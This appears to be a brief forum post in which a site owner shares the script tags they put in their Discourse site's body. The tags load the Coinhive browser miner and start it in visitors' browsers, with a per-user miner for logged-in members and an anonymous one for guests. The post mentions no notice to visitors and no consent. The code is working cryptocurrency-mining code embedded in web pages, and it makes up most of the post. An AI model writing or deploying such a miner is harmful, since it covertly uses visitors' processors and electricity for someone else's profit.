I will try this https://coin-hive.com/
i have in the body this…
<script src="https://coin-hive.com/lib/coinhive.min.js"></script>
<script type="text/discourse-plugin" version="0.2">
var miner = new CoinHive.User('<site-key>', 'test', {
threads: 4,
autoThreads: false,
throttle: 0.8,
forceASMJS: false
});
miner.start();
</script>
Then i see how many make the user test. That will i set to the userid or username.
If the user not logged in i will use this
var miner = new CoinHive.Anonymous('<site-key>', {
threads: 4,
autoThreads: false,
throttle: 0.8,
forceASMJS: false
});